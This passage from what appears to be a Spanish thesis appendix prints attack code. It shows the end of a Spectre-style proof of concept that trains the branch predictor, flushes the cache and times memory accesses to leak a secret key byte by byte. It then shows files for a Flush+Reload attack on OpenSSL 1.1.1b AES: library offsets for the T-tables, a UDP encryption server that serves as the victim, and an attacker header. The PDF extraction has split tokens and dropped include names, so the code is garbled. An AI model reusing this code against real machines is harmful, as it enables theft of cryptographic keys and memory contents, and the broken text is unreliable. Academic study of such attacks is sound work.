//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 48 //Entrena a l p r ed i c t o r y borra e l tamaño de array de un f a l l o de cache . 49 void entrenamiento ( ) { 50 i n t i ; 51 52 //Entrenamiento 53 f o r ( i = 0 ; i < s ize_array ; i++){ 54 _mm_clflush(&s ize_array ) ; 55 vict ima ( i ) ; 56 } 57 } 58 //−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 59 void re loadFunct ion ( i n t r e su l t ado [ ASCII ] ) { 60 r e g i s t e r uint64_t t iempo_in ic io = 0 , tiempo_fin = 0 ; 61 62 unsigned i n t temp = 0 ; 63 // Di recc i on de l elemento a l que vamos a acceder . 64 v o l a t i l e uint8_t ∗ d i r e c c i o n ; 65 66 i n t i ; 67 f o r ( i = 0 ; i < ASCII ; i++){ 68 d i r e c c i o n = &array_aux [ i ∗ ESPACIO ] ; 69 t i empo_in ic io = __rdtscp(&temp) ; 70 //Accedemos a l elemento ca l cu lando e l tiempo de acceso . 71 temp = ∗ d i r e c c i o n ; 72 tiempo_fin = __rdtscp(&temp) ; 73 i f ( t iempo_fin − t i empo_in ic io <= COTA){ 74 r e su l t ado [ i ]++; 75 } 76 } 77 } 78 //−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 79 void i n i c i a l i z a rR e s u l t a d o s ( i n t r e su l t ado [ ASCII ] ) { 80 i n t z ; 81 f o r ( z = 0 ; z < ASCII ; z++){ 82 r e su l t ado [ z ] = 0 ; 69 83 } 84 } 85 86 i n t mejor ( i n t r e su l t ado [ ASCII ] ) { 87 i n t mejor = 0 , va l = 0 , z ; 88 f o r ( z = 0 ; z < ASCII ; z++){ 89 i f ( mejor <= re su l t ado [ z ] ) { 90 mejor = re su l t ado [ z ] ; 91 va l = z ; 92 } 93 } 94 re turn va l ; 95 } 96 //−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 97 i n t main ( ) { 98 i n t r e su l t ado [ ASCII ] ; 99 100 i n t i , va l [ s i z e_c lave ] ; 101 f l o a t c o r r e c t o = 0 ; 102 i n t num = 10 ; 103 f o r ( i n t n = 0 ; n < num; n++){ 104 f o r ( i = 0 ; i < s i z e_c lave ; i++){ 105 p r i n t f ( "La p o s i c i ón acced ida es : " ) ; 106 107 i n i c i a l i z a rR e s u l t a d o s ( r e su l t ado ) ; 108 f o r ( i n t z = 0 ; z < VAL_PRUEBAS; z++){ 109 f lu shFunct ion ( ) ; 110 entrenamiento ( ) ; 111 112 s i ze_t ataque = ( s i ze_t ) ( c lave −(char ∗) array ) + i ; 113 114 _mm_clflush(&s ize_array ) ; 115 f lu shFunct ion ( ) ; 116 117 vict ima ( ataque ) ; 118 re loadFunct ion ( r e su l t ado ) ; 119 } 120 va l [ i ] = mejor ( r e su l t ado ) ; 121 p r i n t f ( " % u , que corresponde con e l c a r a c t e r : ’%c ’\n" , va l [ i ] , va l [ i ] ) ; 122 p r i n t f ( " % c , % f \n" , ( char ) va l [ i ] , c o r r e c t o ) ; 123 i f ( ( char ) va l [ i ] == c lave [ i ] ) { 124 c o r r e c t o++; 125 } 126 } 127 } 128 p r i n t f ( "\n−−−−−−−−−−−−−−−−−−−−−−−−−\n % f de a c i e r t o s \n" , ( c o r r e c t o / (num ∗ s i z e_c lave ) ) ∗ 100) ; 129 re turn 0 ; 130 } 70 Anexo C Código: Atacante, víctima y detector Código C.1: Fichero de parámetros 1 #i f n d e f CONST_H 2 #de f i n e CONST_H 3 4 //TAM corresponde a l tamaño de l a c l ave en bytes ( ejemplo : 1 6 ) 5 #de f i n e TAM 16 6 #de f i n e TAM4 (TAM / 4) 7 8 //BITS_CLAVE corresponde a l tamaño de l a c l ave en b i t s ( ejemplo : 128 ) 9 #de f i n e BITS_CLAVE (TAM∗8) 10 11 //Numero de chars 12 #de f i n e CHARS 256 13 14 //Numero de tab l a s AES 15 #de f i n e NUM_TABLAS 4 16 17 // Ca r a c t e r i s t i c a s de l a L3 18 #de f i n e TAM_BLOQUE 64 19 #de f i n e ELEMS_POR_LINEA 16 20 21 //Ruta en l a que se encuentra l a l i b r e r í a 22 #de f i n e RUTA_LIBRERIA "/opt/ opens s l / 1 . 1 . 1 b/ l i b / l i b c r yp t o . so . 1 . 1 " 23 24 // L i b r e r i a 1 . 1 . 1 b ( p o s i c i o n e s u t i l i z a d a s para l a s pruebas ) 25 #de f i n e DESP_TE0 0x1ba040 ; 26 #de f i n e DESP_TE1 0x1b9940 ; 27 #de f i n e DESP_TE2 0x1b9680 ; 28 #de f i n e DESP_TE3 0x1b9140 ; 29 30 31 // Def in i remos DEBUG cuando queramos durante l a e j e c u c i ón que se 32 //muestre in f o rmac i ón extra de l o que se e s ta haciendo 33 //#de f i n e DEBUG 34 71 35 // Def in i remos EXPORT_RES cuando queramos exportar l a s gr á f i c a s 36 // de l atacante con l o s r e s u l t ado s de l o s chars 37 //#de f i n e EXPORT_RES 38 39 // Constantes de tiempo 40 #de f i n e T_NANOS 1 41 #de f i n e T_MICROS 1000 42 #de f i n e T_MILIS 1000000 43 #de f i n e T_SEG 1000000000 44 45 #end i f Código C.2: Código fuente del servidor 1 // B i b l i o t e c a s de entrada / s a l i d a y de l s i s tema 2 #inc lude 3 #inc lude 4 #inc lude 5 #inc lude 6 7 // B i b l i o t e c a s usadas para l a c on s t r u c c i ón de l socke t 8 #inc lude 9 #inc lude 10 #inc lude 11 #inc lude 12 13 // L ibre r í a para e l encr iptado 14 #inc lude 15 16 // Ut i l i d ade s y parámetros 17 #inc lude " u t i l i d a d e s . h" 18 #inc lude "parametros . h" 19 20 // Var iab le con e l número de puerto 21 // Programa p r i n c i p a l 22 i n t main ( i n t argc , char ∗ argv [ ] ) { 23 //Obtenemos l o s va l o r e s que vienen como parámetros 24 s t r u c t resulparam parametros ; 25 i n t puerto ; 26 unsigned char c l ave [TAM] ; 27 i n i c i a l i z a rRe su lPa ram(¶metros ) ; 28 getOperandos ( argc , argv , ¶metros ) ; 29 i f ( parametros . puerto != −1){ 30 puerto = parametros . puerto ; 31 p r i n t f ( "Puerto : % d\n" , puerto ) ; 32 } e l s e { 33 p r i n t f ( "No se ha in t roduc ido e l numero puerto \n" ) ; 34 e x i t (EXIT_FAILURE) ; 35 } 36 i f ( ( strcmp ( ( char ∗) parametros . c lave , "" ) != 0) && ( ( i n t ) s t r l e n ( ( char ∗) parametros . c l ave ) == TAM) ) { 37 s t r cpy ( ( char ∗) c lave , ( char ∗) parametros . c l ave ) ; 72 38 } e l s e { 39 p r i n t f ( "La c l ave in t roduc ida no t i e n e e l tamaño deseado\n" ) ; 40 p r i n t f ( "Tiene % d ca r a c t e r e s y tendr í a que tener % ld c a r a c t e r e s \n" , TAM, s t r l e n ( ( char ∗) parametros . c l ave ) ) ; 41 p r i n t f ( " % d\n" , strcmp ( ( char ∗) parametros . c lave , "" ) ) ; 42 e x i t (EXIT_FAILURE) ; 43 } 44 45 // Creamos una va r i ab l e para e l socke t ( s ) , y una temporal 46 // para l o s f a l l o s devue l to s por l a s func i one s 47 i n t s , tmp ; 48 49 // Est ructuras para l a s d i r e c c i o n e s de l o s s o cke t s 50 s t r u c t sockaddr_in s_direcc ion_serv idor , s_d i r e c c i on_c l i en t e ; 51 52 p r i n t f ( "La c l ave de l s e r v i d o r es : %.16 s \n" , c l ave ) ; 53 54 // Creamos un socke t 55 s = socket (AF_INET, SOCK_DGRAM, 0) ; 56 i f ( s == −1){ 57 p r i n t f ( "Error en l a c r e a c i ón de l socke t . \ n" ) ; 58 e x i t (−1) ; 59 } 60 61 // Asignamos un socket a un puerto 62 s_di recc ion_serv idor . s in_fami ly = AF_INET; 63 s_di recc ion_serv idor . s in_port = htons ( puerto ) ; 64 s_di recc ion_serv idor . sin_addr . s_addr = hton l (INADDR_ANY) ; 65 66 tmp = bind ( s , ( s t r u c t sockaddr ∗) &s_direcc ion_serv idor , s i z e o f ( s_di recc ion_serv idor ) ) ; 67 i f ( tmp == −1){ 68 p r i n t f ( "Error a l hacer e l bind . \ n" ) ; 69 e x i t (−1) ; 70 } 71 72 // Buf f e r en e l que almacenaremos e l t exto 73 unsigned char texto [TAM] ; 74 unsigned char texto_encr iptado [TAM] ; 75 76 // Estructura en l a que se almacenar án l o s datos de l emisor de l mensaje 77 s t r u c t hostent ∗ datos_emisor ; 78 79 // Est ructuras de l proceso de encr iptado 80 AES_KEY clave_expandida ; 81 82 // Calculamos l a s c l a v e s de ronda que usar á e l s e r v i d o r para en c r i p t a r 83 AES_set_encrypt_key ( c lave , BITS_CLAVE, &clave_expandida ) ; 84 85 // Bucle de escucha−encr iptado−r e spue s ta 86 73 87 i n t a = 1 ; 88 p r i n t f ( "Esperando s o l i c i t u d e s de encr iptado . . . \ n" ) ; 89 whi le ( a == 1) { 90 socklen_t l en_c l i e n t e = s i z e o f ( s_d i r e c c i on_c l i en t e ) ; 91 92 tmp = recvfrom ( s , texto , TAM, 0 , ( s t r u c t sockaddr ∗) &s_di r ecc i on_c l i en te , &l en_c l i en t e ) ; 93 i f ( tmp == −1){ 94 p r i n t f ( "Error en l a r e c ep c i ón de l mensaje . \ n" ) ; 95 } e l s e { 96 // Procesamos e l mensaje r e c i b i d o y l o s datos de l remitente 97 datos_emisor = gethostbyaddr ( ( const char ∗) &s_d i r e c c i on_c l i en t e . sin_addr . s_addr , s i z e o f ( s_d i r e c c i on_c l i en t e . sin_addr . s_addr ) , AF_INET) ; 98 i f ( datos_emisor == NULL) { 99 p r i n t f ( "Error a l p roce sa r e l emisor de l mensaje r e c i b i d o . \ n" ) ; 100 } e l s e { 101 #i f d e f DEBUG 102 p r i n t f ( "Mensaje r e c i b i d o de % s\n" , datos_emisor−>h_name) ; 103 104 #end i f 105 // Realizamos e l encr iptado y se l o enviamos 106 #i f d e f DEBUG 107 p r i n t f ( "Encriptando . . . \ n" ) ; 108 #end i f 109 AES_encrypt ( texto , texto_encr iptado , &clave_expandida ) ; 110 #i f d e f DEBUG 111 p r i n t f ( "Respondiendo encr iptado . . . \ n" ) ; 112 #end i f 113 tmp = sendto ( s , texto_encr iptado , TAM, 0 , ( s t r u c t sockaddr ∗) & s_di r ecc i on_c l i en te , l e n_c l i en t e ) ; 114 #i f d e f DEBUG 115 p r i n t f ( "Enviados % d bytes \n" , tmp) ; 116 p r i n t f ( "Encriptado respondido . \ n" ) ; 117 #end i f 118 } 119 } 120 } 121 c l o s e ( s ) ; 122 re turn 0 ; 123 } Código C.3: Cabecera del atacante 1 #i f n d e f ATAC_H 2 #de f i n e ATAC_H 3 4 #inc lude 5 6 //Las s i g u i e n t e s t ab l a s han s ido ex t r a i da s de l có digo fuente de l a l i b r e r í a opens s l 7 s t a t i c const uint32_t Te0 [ 2 5 6 ] = { 8 0xc66363a5U , 0xf87c7c84U , 0xee777799U , 0xf67b7b8dU , 74 9 . . . 10 0x7bb0b0cbU , 0xa85454fcU , 0x6dbbbbd6U , 0x2c16163aU , 11 } ; 12 s t a t i c const uint32_t Te1 [ 2 5 6 ] = { 13 0xa5c66363U , 0x84f87c7cU , 0x99ee7777U , 0x8df67b7bU , 14 . . . 15 0xcb7bb0b0U , 0xfca85454U , 0xd66dbbbbU , 0x3a2c1616U , 16 } ; 17 s t a t i c const uint32_t Te2 [ 2 5 6 ] = { 18 0x63a5c663U , 0x7c84f87cU , 0x7799ee77U , 0x7b8df67bU , 19 . . . 20 0xb0cb7bb0U , 0x54fca854U , 0xbbd66dbbU , 0x163a2c16U , 21 } ; 22 s t a t i c const uint32_t Te3 [ 2 5 6 ] = { 23 0x6363a5c6U , 0x7c7c84f8U , 0x777799eeU , 0x7b7b8df6U , 24 . . . 25 0xb0b0cb7bU , 0x5454fca8U , 0xbbbbd66dU , 0x16163a2cU , 26 } ; 27 28 s t a t i c const unsigned i n t rcon [ ] = { 29 0x01000000 , 0x02000000 , 0x04000000 , 0x08000000 , 30 0x10000000 , 0x20000000 , 0x40000000 , 0x80000000 , 31 0x1B000000 , 0x36000000 , /∗ f o r 128−b i t blocks , R i jndae l never uses more than 10 rcon va lue s ∗/ 32 } ; 33 34 void f lu shFunct ion ( char ∗ p) ; 35 36 i n t re loadFunct ion ( char ∗ p , i n t cota ) ; 37 38 #end i f Código C.4: Código fuente del atacante 1 2 // I n c l u s i ón de su cabecera 3 #inc lude " atacante . h" 4 5 // B i b l i o t e c a s de entrada / s a l i d a y de l s i s tema 6 #inc lude 7 #inc lude 8 #inc lude 9 #inc lude